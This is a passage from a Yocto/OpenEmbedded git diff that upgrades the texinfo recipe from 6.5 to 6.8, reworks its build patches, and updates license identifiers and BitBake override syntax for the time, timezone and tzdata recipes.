++ gl_YEAR2038_BODY([require-64-bit])
++])
diff --git a/meta/recipes-extended/texinfo/texinfo/dont-depend-on-help2man.patch b/meta/recipes-extended/texinfo/texinfo/dont-depend-on-help2man.patch
index f4184399c7..0d6bbafadd 100644
--- a/meta/recipes-extended/texinfo/texinfo/dont-depend-on-help2man.patch
+++ b/meta/recipes-extended/texinfo/texinfo/dont-depend-on-help2man.patch
@@ -1,4 +1,4 @@
-From e89b1c57d76f5cf5acbb0d0187374f7a77bce1e2 Mon Sep 17 00:00:00 2001
+From 63a803ead3656353329a801846a9a3beb7210c46 Mon Sep 17 00:00:00 2001
From: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
Date: Tue, 29 Nov 2016 13:43:24 -0600
Subject: [PATCH] dont-depend-on-help2man
@@ -7,29 +7,30 @@ Upstream-Status: Inappropriate
Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
+
---
doc/Makefile.am | 2 +-
man/Makefile.am | 12 ++++++------
2 files changed, 7 insertions(+), 7 deletions(-)
diff --git a/doc/Makefile.am b/doc/Makefile.am
-index 39db834..1bb2a4f
+index 732833e..041cb9b 100644
--- a/doc/Makefile.am
+++ b/doc/Makefile.am
-@@ -38,7 +38,7 @@ refcard_files = refcard/Makefile refcard/txicmdcheck \
+@@ -37,7 +37,7 @@ refcard_files = refcard/Makefile refcard/txicmdcheck \
# Include our texinfo.tex, not Automake's.
EXTRA_DIST = epsf.tex texinfo.tex \
fdl.texi \
- $(man_MANS) $(TXI_XLATE) \
+ $(TXI_XLATE) \
- $(refcard_files) texinfo-tex-test.texi \
+ $(refcard_files) \
+ texinfo-tex-test.texi texinfo-tex-test.WIDOWs \
texinfo-ja.tex short-sample-ja.texi
-
diff --git a/man/Makefile.am b/man/Makefile.am
-index 6bfcb3d..a820c96
+index d0cd72c..a19e52a 100644
--- a/man/Makefile.am
+++ b/man/Makefile.am
-@@ -13,24 +13,24 @@
+@@ -11,27 +11,27 @@
# implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
# These are generated using help2man.
@@ -47,10 +48,13 @@ index 6bfcb3d..a820c96
-man_MANS += info.5 texinfo.5
+#man_MANS += info.5 texinfo.5
- # This is generated by pod2man, but let's just run it by hand.
-man_MANS += pod2texi.1
+#man_MANS += pod2texi.1
+ pod2texi.1: $(top_srcdir)/Pod-Simple-Texinfo/pod2texi.pl
+ $(POD2MAN) $(top_srcdir)/Pod-Simple-Texinfo/pod2texi.pl >"$@"
+
+
# These are just .so's to the common program.
-man_MANS += texi2any.1 texi2pdf.1 pdftexi2dvi.1
+#man_MANS += texi2any.1 texi2pdf.1 pdftexi2dvi.1
@@ -60,6 +64,3 @@ index 6bfcb3d..a820c96
# Maintainers should be able to regenerate.
MAINTAINERCLEANFILES = $(man_MANS)
---
-2.9.3
-
diff --git a/meta/recipes-extended/texinfo/texinfo/link-zip.patch b/meta/recipes-extended/texinfo/texinfo/link-zip.patch
index 0b6e9fd7ea..15c030c0c6 100644
--- a/meta/recipes-extended/texinfo/texinfo/link-zip.patch
+++ b/meta/recipes-extended/texinfo/texinfo/link-zip.patch
@@ -1,16 +1,23 @@
-install-info uses symbols from zlib so must link against it.
+From c1002138033fcccb2d1abfc41f5c2e46c836f7a0 Mon Sep 17 00:00:00 2001
+From: Joshua Lock <josh@linux.intel.com>
+Date: Mon, 29 Jul 2013 15:02:34 -0700
+Subject: [PATCH] install-info uses symbols from zlib so must link against it.
Upstream-Status: Pending
Signed-off-by: Joshua Lock <josh@linux.intel.com>
-Index: texinfo-5.1/install-info/Makefile.am
-===================================================================
---- texinfo-5.1.orig/install-info/Makefile.am
-+++ texinfo-5.1/install-info/Makefile.am
-@@ -34,4 +34,4 @@ AM_CPPFLAGS = \
+---
+ install-info/Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/install-info/Makefile.am b/install-info/Makefile.am
+index 9bcff71..68247f9 100644
+--- a/install-info/Makefile.am
++++ b/install-info/Makefile.am
+@@ -33,4 +33,4 @@ AM_CPPFLAGS = \
-I$(top_srcdir)/gnulib/lib \
-I$(top_builddir)/gnulib/lib \
-DLOCALEDIR=\"$(localedir)\"
--LDADD = $(top_builddir)/gnulib/lib/libgnu.a $(LIBINTL)
-+LDADD = $(top_builddir)/gnulib/lib/libgnu.a $(LIBINTL) -lz
+-LDADD = $(top_builddir)/gnulib/lib/libgnu.a $(LIBINTL) $(LIBTHREAD)
++LDADD = $(top_builddir)/gnulib/lib/libgnu.a $(LIBINTL) $(LIBTHREAD) -lz
diff --git a/meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch b/meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch
deleted file mode 100644
index f25352c636..0000000000
--- a/meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch
+++ /dev/null
@@ -1,256 +0,0 @@
-From fe4f00459601efe0cfa75d92749a32237800a530 Mon Sep 17 00:00:00 2001
-From: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
-Date: Tue, 29 Nov 2016 12:27:17 -0600
-Subject: [PATCH] texinfo-4.12-zlib
-
-Upstream-Status: Pending
-
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
----
- install-info/Makefile.in | 12 ++-----
- install-info/install-info.c | 79 +++++++++++++++++++++++++++------------------
- 2 files changed, 49 insertions(+), 42 deletions(-)
-
-diff --git a/install-info/Makefile.in b/install-info/Makefile.in
-index 837d020..ba96579 100644
---- a/install-info/Makefile.in
-+++ b/install-info/Makefile.in
-@@ -216,7 +208,7 @@ am__installdirs = "$(DESTDIR)$(bindir)" "$(DESTDIR)$(bindir)"
- PROGRAMS = $(bin_PROGRAMS)
- am_ginstall_info_OBJECTS = install-info.$(OBJEXT)
- ginstall_info_OBJECTS = $(am_ginstall_info_OBJECTS)
--ginstall_info_LDADD = $(LDADD)
-+ginstall_info_LDADD = $(LDADD) -lz
- am__DEPENDENCIES_1 =
- ginstall_info_DEPENDENCIES = $(top_builddir)/gnulib/lib/libgnu.a \
- $(am__DEPENDENCIES_1)
-diff --git a/install-info/install-info.c b/install-info/install-info.c
-index e58189c..8617787 100644
---- a/install-info/install-info.c
-+++ b/install-info/install-info.c
-@@ -22,6 +22,7 @@
- #include <getopt.h>
- #include <regex.h>
- #include <argz.h>
-+#include <zlib.h>
-
- #define TAB_WIDTH 8
-
-@@ -684,15 +685,15 @@ The first time you invoke Info you start off looking at this node.\n\
-
- Return either stdin reading the file, or a non-stdin pipe reading
- the output of the compression program. */
--FILE *
-+void *
- open_possibly_compressed_file (char *filename,
- void (*create_callback) (char *),
-- char **opened_filename, char **compression_program)
-+ char **opened_filename, char **compression_program, int *is_pipe)
- {
- char *local_opened_filename, *local_compression_program;
- int nread;
- char data[13];
-- FILE *f;
-+ gzFile *f;
-
- /* We let them pass NULL if they don't want this info, but it's easier
- to always determine it. */
-@@ -700,48 +701,48 @@ open_possibly_compressed_file (char *filename,
- opened_filename = &local_opened_filename;
-
- *opened_filename = filename;
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- if (!f)
- {
- *opened_filename = concat (filename, ".gz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".xz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".bz2", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".lz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".lzma", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- #ifdef __MSDOS__
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".igz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".inz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- #endif /* __MSDOS__ */
- if (!f)
-@@ -757,7 +758,7 @@ open_possibly_compressed_file (char *filename,
- (*create_callback) (filename);
-
- /* And try opening it again. */
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- if (!f)
- return 0;
- }
-@@ -767,26 +768,26 @@ open_possibly_compressed_file (char *filename,
-
- /* Read first few bytes of file rather than relying on the filename.
- If the file is shorter than this it can't be usable anyway. */
-- nread = fread (data, sizeof (data), 1, f);
-- if (nread != 1)
-+ nread = gzread (f, data, sizeof (data));
-+ if (nread != sizeof (data))
- {
-- if (nread == 0)
-+ if (nread >= 0)
- {
- /* Try to create the file if its empty. */
-- if (feof (f) && create_callback)
-+ if (gzeof(f) && create_callback)
- {
-- if (fclose (f) != 0)
-+ if (gzclose(f) != 0)
- return 0; /* unknown error closing file */
-
-- if (remove (filename) != 0)
-+ if (remove(filename) != 0)
- return 0; /* unknown error deleting file */
-
- (*create_callback) (filename);
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- if (!f)
- return 0;
-- nread = fread (data, sizeof (data), 1, f);
-- if (nread == 0)
-+ nread = gzread(f, data, sizeof (data));
-+ if (nread >= 0)
- return 0;
- goto determine_file_type; /* success */
- }
-@@ -857,35 +858,40 @@ determine_file_type:
- *compression_program = NULL;
-
- /* Seek back over the magic bytes. */
-- if (fseek (f, 0, 0) < 0)
-+ if (gzseek (f, 0, SEEK_SET) == -1)
- return 0;
-
- if (*compression_program)
- { /* It's compressed, so open a pipe. */
-+ FILE *p;
- char *command = concat (*compression_program, " -d", "");
-
-- if (fclose (f) < 0)
-+ if (gzclose (f) < 0)
- return 0;
-- f = freopen (*opened_filename, FOPEN_RBIN, stdin);
-- if (!f)
-+ p = freopen (*opened_filename, FOPEN_RBIN, stdin);
-+ if (!p)
- return 0;
-- f = popen (command, "r");
-- if (!f)
-+ p = popen (command, "r");
-+ if (!p)
- {
- /* Used for error message in calling code. */
- *opened_filename = command;
- return 0;
- }
-+ else
-+ *is_pipe = 1;
-+ return p;
- }
- else
- {
--#if O_BINARY
-+#if 0 && O_BINARY
- /* Since this is a text file, and we opened it in binary mode,
- switch back to text mode. */
- f = freopen (*opened_filename, "r", f);
- if (! f)
- return 0;
- #endif
-+ *is_pipe = 0;
- }
-
- return f;
-@@ -904,7 +910,8 @@ readfile (char *filename, int *sizep,
- void (*create_callback) (char *), char **opened_filename,
- char **compression_program)
- {
-- FILE *f;
-+ void *f;
-+ int pipe_p;
- int filled = 0;
- int data_size = 8192;
- char *data = xmalloc (data_size);
-@@ -912,14 +919,20 @@ readfile (char *filename, int *sizep,
- /* If they passed the space for the file name to return, use it. */
- f = open_possibly_compressed_file (filename, create_callback,
- opened_filename,
-- compression_program);
-+ compression_program,
-+ &pipe_p);
-
- if (!f)
- return 0;
-
- for (;;)
- {
-- int nread = fread (data + filled, 1, data_size - filled, f);
-+ int nread;
-+
-+ if (pipe_p)
-+ nread = fread (data + filled, 1, data_size - filled, f);
-+ else
-+ nread = gzread (f, data + filled, data_size - filled);
- if (nread < 0)
- return 0;
- if (nread == 0)
-@@ -938,8 +951,10 @@ readfile (char *filename, int *sizep,
- /* We need to close the stream, since on some systems the pipe created
- by popen is simulated by a temporary file which only gets removed
- inside pclose. */
-- if (f != stdin)
-+ if (pipe_p)
- pclose (f);
-+ else
-+ gzclose (f);
-
- *sizep = filled;
- return data;
---
-2.9.3
-
diff --git a/meta/recipes-extended/texinfo/texinfo_6.5.bb b/meta/recipes-extended/texinfo/texinfo_6.5.bb
deleted file mode 100644
index 50eae77ad0..0000000000
--- a/meta/recipes-extended/texinfo/texinfo_6.5.bb
+++ /dev/null
@@ -1,92 +0,0 @@
-SUMMARY = "Documentation system for on-line information and printed output"
-DESCRIPTION = "Texinfo is a documentation system that can produce both \
-online information and printed output from a single source file. The \
-GNU Project uses the Texinfo file format for most of its documentation."
-HOMEPAGE = "http://www.gnu.org/software/texinfo/"
-SECTION = "console/utils"
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-PROVIDES_append_class-native = " texinfo-replacement-native"
-
-def compress_pkg(d):
- if bb.data.inherits_class('compress_doc', d):
- compress = d.getVar("DOC_COMPRESS")
- if compress == "gz":
- return "gzip"
- elif compress == "bz2":
- return "bzip2"
- elif compress == "xz":
- return "xz"
- return ""
-
-RDEPENDS_info += "${@compress_pkg(d)}"
-
-DEPENDS = "zlib ncurses texinfo-replacement-native"
-DEPENDS_class-native = "zlib-native ncurses-native"
-
-TARGET_PATCH = "file://use_host_makedoc.patch"
-TARGET_PATCH_class-native = ""
-
-SRC_URI = "${GNU_MIRROR}/texinfo/${BP}.tar.gz \
- file://texinfo-4.12-zlib.patch \
- file://disable-native-tools.patch \
- file://link-zip.patch \
- file://dont-depend-on-help2man.patch \
- file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
- ${TARGET_PATCH} \
- "
-
-SRC_URI[md5sum] = "94e8f7149876793030e5518dd8d6e956"
-SRC_URI[sha256sum] = "d34272e4042c46186ddcd66bd5d980c0ca14ff734444686ccf8131f6ec8b1427"
-
-tex_texinfo = "texmf/tex/texinfo"
-
-inherit gettext autotools multilib_script
-
-MULTILIB_SCRIPTS = "${PN}:${bindir}/texi2any"
-
-EXTRA_AUTORECONF += "-I ${S}/gnulib/m4"
-
-do_configure_prepend () {
- # autotools_do_configure updates po/Makefile.in.in, we also need
- # update po_document.
- cp -f ${STAGING_DATADIR_NATIVE}/gettext/po/Makefile.in.in ${S}/po_document/
-}
-
-do_compile_prepend() {
- if [ -d tools ];then
- oe_runmake -C tools/gnulib/lib
- fi
-}
-
-do_install_append() {
- mkdir -p ${D}${datadir}/${tex_texinfo}
- install -p -m644 ${S}/doc/texinfo.tex ${S}/doc/txi-??.tex ${D}${datadir}/${tex_texinfo}
- sed -i -e '1s,#!.*perl,#! ${USRBINPATH}/env perl,' ${D}${bindir}/texi2any ${D}${bindir}/pod2texi
-}
-
-do_install_append_class-native() {
- install -m 755 info/makedoc ${D}${bindir}
-}
-
-PACKAGES += "info info-doc"
-
-FILES_info = "${bindir}/info ${bindir}/infokey ${bindir}/install-info"
-FILES_info-doc = "${infodir}/info.info* ${infodir}/dir ${infodir}/info-*.info* \
- ${mandir}/man1/info.1* ${mandir}/man5/info.5* \
- ${mandir}/man1/infokey.1* ${mandir}/man1/install-info.1*"
-
-FILES_${PN} = "${bindir}/makeinfo ${bindir}/texi* ${bindir}/pdftexi2dvi ${bindir}/pod2texi ${datadir}/texinfo"
-RDEPENDS_${PN} = "perl"
-FILES_${PN}-doc = "${infodir}/texinfo* \
- ${datadir}/${tex_texinfo} \
- ${mandir}/man1 ${mandir}/man5"
-
-# Lie about providing the Locale::gettext_xs module. It is not actually built,
-# but the code will test for it and if not found use Locale::gettext_pp instead.
-# However, this causes a file dependency on perl(Locale::gettext_xs) to be
-# generated, which must be satisfied.
-RPROVIDES_${PN} += "perl(Locale::gettext_xs)"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/texinfo/texinfo_6.8.bb b/meta/recipes-extended/texinfo/texinfo_6.8.bb
new file mode 100644
index 0000000000..33dcd943b4
--- /dev/null
+++ b/meta/recipes-extended/texinfo/texinfo_6.8.bb
@@ -0,0 +1,90 @@
+SUMMARY = "Documentation system for on-line information and printed output"
+DESCRIPTION = "Texinfo is a documentation system that can produce both \
+online information and printed output from a single source file. The \
+GNU Project uses the Texinfo file format for most of its documentation."
+HOMEPAGE = "http://www.gnu.org/software/texinfo/"
+SECTION = "console/utils"
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+PROVIDES:append:class-native = " texinfo-replacement-native"
+
+def compress_pkg(d):
+ if bb.data.inherits_class('compress_doc', d):
+ compress = d.getVar("DOC_COMPRESS")
+ if compress == "gz":
+ return "gzip"
+ elif compress == "bz2":
+ return "bzip2"
+ elif compress == "xz":
+ return "xz"
+ return ""
+
+RDEPENDS:info += "${@compress_pkg(d)}"
+
+DEPENDS = "zlib ncurses texinfo-replacement-native"
+DEPENDS:class-native = "zlib-native ncurses-native"
+
+TARGET_PATCH = "file://use_host_makedoc.patch"
+TARGET_PATCH:class-native = ""
+
+SRC_URI = "${GNU_MIRROR}/texinfo/${BP}.tar.gz \
+ file://0001-gnulib-Update.patch \
+ file://disable-native-tools.patch \
+ file://link-zip.patch \
+ file://dont-depend-on-help2man.patch \
+ ${TARGET_PATCH} \
+ "
+
+SRC_URI[sha256sum] = "8e09cf753ad1833695d2bac0f57dc3bd6bcbbfbf279450e1ba3bc2d7fb297d08"
+
+tex_texinfo = "texmf/tex/texinfo"
+
+inherit gettext autotools multilib_script
+
+MULTILIB_SCRIPTS = "${PN}:${bindir}/texi2any"
+
+EXTRA_AUTORECONF += "-I ${S}/gnulib/m4"
+
+do_configure:prepend () {
+ # autotools_do_configure updates po/Makefile.in.in, we also need
+ # update po_document.
+ cp -f ${STAGING_DATADIR_NATIVE}/gettext/po/Makefile.in.in ${S}/po_document/
+}
+
+do_compile:prepend() {
+ if [ -d tools ];then
+ oe_runmake -C tools/gnulib/lib
+ fi
+}
+
+do_install:append() {
+ mkdir -p ${D}${datadir}/${tex_texinfo}
+ install -p -m644 ${S}/doc/texinfo.tex ${S}/doc/txi-??.tex ${D}${datadir}/${tex_texinfo}
+ sed -i -e '1s,#!.*perl,#! ${USRBINPATH}/env perl,' ${D}${bindir}/texi2any ${D}${bindir}/pod2texi
+}
+
+do_install:append:class-native() {
+ install -m 755 info/makedoc ${D}${bindir}
+}
+
+PACKAGES += "info info-doc"
+
+FILES:info = "${bindir}/info ${bindir}/infokey ${bindir}/install-info"
+FILES:info-doc = "${infodir}/info.info* ${infodir}/dir ${infodir}/info-*.info* \
+ ${mandir}/man1/info.1* ${mandir}/man5/info.5* \
+ ${mandir}/man1/infokey.1* ${mandir}/man1/install-info.1*"
+
+FILES:${PN} = "${bindir}/makeinfo ${bindir}/texi* ${bindir}/pdftexi2dvi ${bindir}/pod2texi ${datadir}/texinfo"
+RDEPENDS:${PN} = "perl"
+FILES:${PN}-doc = "${infodir}/texinfo* \
+ ${datadir}/${tex_texinfo} \
+ ${mandir}/man1 ${mandir}/man5"
+
+# Lie about providing the Locale::gettext_xs module. It is not actually built,
+# but the code will test for it and if not found use Locale::gettext_pp instead.
+# However, this causes a file dependency on perl(Locale::gettext_xs) to be
+# generated, which must be satisfied.
+RPROVIDES:${PN} += "perl(Locale::gettext_xs)"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/time/time_1.9.bb b/meta/recipes-extended/time/time_1.9.bb
index e2b084caae..706605fe06 100644
--- a/meta/recipes-extended/time/time_1.9.bb
+++ b/meta/recipes-extended/time/time_1.9.bb
@@ -3,12 +3,12 @@ DESCRIPTION = "time measures many of the CPU resources, such as time and \
memory, that other programs use."
HOMEPAGE = "http://www.gnu.org/software/time/"
SECTION = "utils"
-LICENSE = "GPLv3"
+LICENSE = "GPL-3.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
inherit texinfo update-alternatives
-ALTERNATIVE_${PN} = "time"
+ALTERNATIVE:${PN} = "time"
ALTERNATIVE_PRIORITY = "100"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/timezone/timezone.inc b/meta/recipes-extended/timezone/timezone.inc
index 91a5cb3327..43d14d7f12 100644
--- a/meta/recipes-extended/timezone/timezone.inc
+++ b/meta/recipes-extended/timezone/timezone.inc
@@ -3,10 +3,10 @@ DESCRIPTION = "The Time Zone Database contains code and data that represent \
the history of local time for many representative locations around the globe."
HOMEPAGE = "http://www.iana.org/time-zones"
SECTION = "base"
-LICENSE = "PD & BSD & BSD-3-Clause"
+LICENSE = "PD & BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=c679c9d6b02bc2757b3eaf8f53c43fba"
-PV = "2019c"
+PV = "2021e"
SRC_URI =" http://www.iana.org/time-zones/repository/releases/tzcode${PV}.tar.gz;name=tzcode \
http://www.iana.org/time-zones/repository/releases/tzdata${PV}.tar.gz;name=tzdata \
@@ -14,7 +14,6 @@ SRC_URI =" http://www.iana.org/time-zones/repository/releases/tzcode${PV}.tar.gz
UPSTREAM_CHECK_URI = "http://www.iana.org/time-zones"
-SRC_URI[tzcode.md5sum] = "195a17454c5db05cab96595380650391"
-SRC_URI[tzcode.sha256sum] = "f6ebd3668e02d5ed223d3b7b1947561bf2d2da2f4bd1db61efefd9e06c167ed4"
-SRC_URI[tzdata.md5sum] = "f6987e6dfdb2eb83a1b5076a50b80894"
-SRC_URI[tzdata.sha256sum] = "79c7806dab09072308da0e3d22c37d3b245015a591891ea147d3b133b60ffc7c"
+SRC_URI[tzcode.sha256sum] = "584666393a5424d13d27ec01183da17703273664742e049d4f62f62dab631775"
+SRC_URI[tzdata.sha256sum] = "07ec42b737d0d3c6be9c337f8abb5f00554a0f9cc4fcf01a703d69403b6bb2b1"
+
diff --git a/meta/recipes-extended/timezone/tzdata.bb b/meta/recipes-extended/timezone/tzdata.bb
index 1e2d9bd1b9..7f4322d867 100644
--- a/meta/recipes-extended/timezone/tzdata.bb
+++ b/meta/recipes-extended/timezone/tzdata.bb
@@ -4,207 +4,199 @@ DEPENDS = "tzcode-native"
inherit allarch
-RCONFLICTS_${PN} = "timezones timezone-africa timezone-america timezone-antarctica \
- timezone-arctic timezone-asia timezone-atlantic \
- timezone-australia timezone-europe timezone-indian \
- timezone-iso3166.tab timezone-pacific timezone-zone.tab"
-
S = "${WORKDIR}"
DEFAULT_TIMEZONE ?= "Universal"
INSTALL_TIMEZONE_FILE ?= "1"
-TZONES= "africa antarctica asia australasia europe northamerica southamerica \
- factory etcetera backward systemv \
- "
-# pacificnew
-
-do_compile () {
- for zone in ${TZONES}; do \
- ${STAGING_BINDIR_NATIVE}/zic -d ${WORKDIR}${datadir}/zoneinfo -L /dev/null \
- -y ${S}/yearistype.sh ${S}/${zone} ; \
- ${STAGING_BINDIR_NATIVE}/zic -d ${WORKDIR}${datadir}/zoneinfo/posix -L /dev/null \
- -y ${S}/yearistype.sh ${S}/${zone} ; \
- ${STAGING_BINDIR_NATIVE}/zic -d ${WORKDIR}${datadir}/zoneinfo/right -L ${S}/leapseconds \
- -y ${S}/yearistype.sh ${S}/${zone} ; \
- done
+TZONES = " \
+ africa antarctica asia australasia europe northamerica southamerica \
+ factory etcetera backward \
+"
+
+# "slim" is the default since 2020b
+# "fat" is needed by e.g. MariaDB's mysql_tzinfo_to_sql
+ZIC_FMT ?= "slim"
+
+do_compile() {
+ for zone in ${TZONES}; do
+ ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${WORKDIR}${datadir}/zoneinfo -L /dev/null ${S}/${zone}
+ ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${WORKDIR}${datadir}/zoneinfo/posix -L /dev/null ${S}/${zone}
+ ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${WORKDIR}${datadir}/zoneinfo/right -L ${S}/leapseconds ${S}/${zone}
+ done
}
-do_install () {
- install -d ${D}/$exec_prefix ${D}${datadir}/zoneinfo
- cp -pPR ${S}/$exec_prefix ${D}/
- # libc is removing zoneinfo files from package
- cp -pP "${S}/zone.tab" ${D}${datadir}/zoneinfo
- cp -pP "${S}/zone1970.tab" ${D}${datadir}/zoneinfo
- cp -pP "${S}/iso3166.tab" ${D}${datadir}/zoneinfo
-
- # Install default timezone
- if [ -e ${D}${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ]; then
- install -d ${D}${sysconfdir}
- if [ "${INSTALL_TIMEZONE_FILE}" = "1" ]; then
- echo ${DEFAULT_TIMEZONE} > ${D}${sysconfdir}/timezone
- fi
- ln -s ${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ${D}${sysconfdir}/localtime
- else
- bberror "DEFAULT_TIMEZONE is set to an invalid value."
- exit 1
- fi
-
- chown -R root:root ${D}
+do_install() {
+ install -d ${D}$exec_prefix ${D}${datadir}/zoneinfo
+ cp -pPR ${WORKDIR}$exec_prefix ${D}${base_prefix}
+ # libc is removing zoneinfo files from package
+ cp -pP "${S}/zone.tab" ${D}${datadir}/zoneinfo
+ cp -pP "${S}/zone1970.tab" ${D}${datadir}/zoneinfo
+ cp -pP "${S}/iso3166.tab" ${D}${datadir}/zoneinfo
+ cp -pP "${S}/leapseconds" ${D}${datadir}/zoneinfo
+ cp -pP "${S}/leap-seconds.list" ${D}${datadir}/zoneinfo
+
+ # Install default timezone
+ if [ -e ${D}${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ]; then
+ install -d ${D}${sysconfdir}
+ if [ "${INSTALL_TIMEZONE_FILE}" = "1" ]; then
+ echo ${DEFAULT_TIMEZONE} > ${D}${sysconfdir}/timezone
+ fi
+ ln -s ${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ${D}${sysconfdir}/localtime
+ else
+ bberror "DEFAULT_TIMEZONE is set to an invalid value."
+ exit 1
+ fi
+
+ chown -R root:root ${D}
}
-pkg_postinst_${PN} () {
+pkg_postinst:${PN}() {
etc_lt="$D${sysconfdir}/localtime"
src="$D${sysconfdir}/timezone"
- if [ -e ${src} ] ; then
- tz=$(sed -e 's:#.*::' -e 's:[[:space:]]*::g' -e '/^$/d' "${src}")
+ if [ -e "$src" ]; then
+ tz=$(sed -e 's:#.*::' -e 's:[[:space:]]*::g' -e '/^$/d' "$src")
fi
-
- if [ -z "${tz}" ] ; then
- exit 0
- fi
-
- if [ ! -e "$D${datadir}/zoneinfo/${tz}" ] ; then
- echo "You have an invalid TIMEZONE setting in ${src}"
- echo "Your ${etc_lt} has been reset to Universal; enjoy!"
+
+ if [ ! -z "$tz" -a ! -e "$D${datadir}/zoneinfo/$tz" ]; then
+ echo "You have an invalid TIMEZONE setting in $src"
+ echo "Your $etc_lt has been reset to Universal; enjoy!"
tz="Universal"
- echo "Updating ${etc_lt} with $D${datadir}/zoneinfo/${tz}"
- if [ -L ${etc_lt} ] ; then
- rm -f "${etc_lt}"
+ echo "Updating $etc_lt with $D${datadir}/zoneinfo/$tz"
+ if [ -L "$etc_lt" ]; then
+ rm -f "$etc_lt"
fi
- ln -s "${datadir}/zoneinfo/${tz}" "${etc_lt}"
+ ln -s "${datadir}/zoneinfo/$tz" "$etc_lt"
fi
}
-# Packages primarily organized by directory with a major city
-# in most time zones in the base package
-
+# Packages are primarily organized by directory with a major city in most time
+# zones in the base package
TZ_PACKAGES = " \
tzdata-core tzdata-misc tzdata-posix tzdata-right tzdata-africa \
tzdata-americas tzdata-antarctica tzdata-arctic tzdata-asia \
- tzdata-atlantic tzdata-australia tzdata-europe tzdata-pacific"
+ tzdata-atlantic tzdata-australia tzdata-europe tzdata-pacific \
+"
PACKAGES = "${TZ_PACKAGES} ${PN}"
-FILES_tzdata-africa += "${datadir}/zoneinfo/Africa/*"
-RPROVIDES_tzdata-africa = "tzdata-africa"
-
-FILES_tzdata-americas += "${datadir}/zoneinfo/America/* \
- ${datadir}/zoneinfo/US/* \
- ${datadir}/zoneinfo/Brazil/* \
- ${datadir}/zoneinfo/Canada/* \
- ${datadir}/zoneinfo/Mexico/* \
- ${datadir}/zoneinfo/Chile/*"
-RPROVIDES_tzdata-americas = "tzdata-americas"
-
-FILES_tzdata-antarctica += "${datadir}/zoneinfo/Antarctica/*"
-RPROVIDES_tzdata-antarctica = "tzdata-antarctica"
-
-FILES_tzdata-arctic += "${datadir}/zoneinfo/Arctic/*"
-RPROVIDES_tzdata-arctic = "tzdata-arctic"
-
-FILES_tzdata-asia += "${datadir}/zoneinfo/Asia/* \
- ${datadir}/zoneinfo/Indian/* \
- ${datadir}/zoneinfo/Mideast/*"
-RPROVIDES_tzdata-asia = "tzdata-asia"
-
-FILES_tzdata-atlantic += "${datadir}/zoneinfo/Atlantic/*"
-RPROVIDES_tzdata-atlantic = "tzdata-atlantic"
-
-FILES_tzdata-australia += "${datadir}/zoneinfo/Australia/*"
-RPROVIDES_tzdata-australia = "tzdata-australia"
-
-FILES_tzdata-europe += "${datadir}/zoneinfo/Europe/*"
-RPROVIDES_tzdata-europe = "tzdata-europe"
-
-FILES_tzdata-pacific += "${datadir}/zoneinfo/Pacific/*"
-RPROVIDES_tzdata-pacific = "tzdata-pacific"
-
-FILES_tzdata-posix += "${datadir}/zoneinfo/posix/*"
-RPROVIDES_tzdata-posix = "tzdata-posix"
-
-FILES_tzdata-right += "${datadir}/zoneinfo/right/*"
-RPROVIDES_tzdata-right = "tzdata-right"
-
-FILES_tzdata-misc += "${datadir}/zoneinfo/Cuba \
- ${datadir}/zoneinfo/Egypt \
- ${datadir}/zoneinfo/Eire \
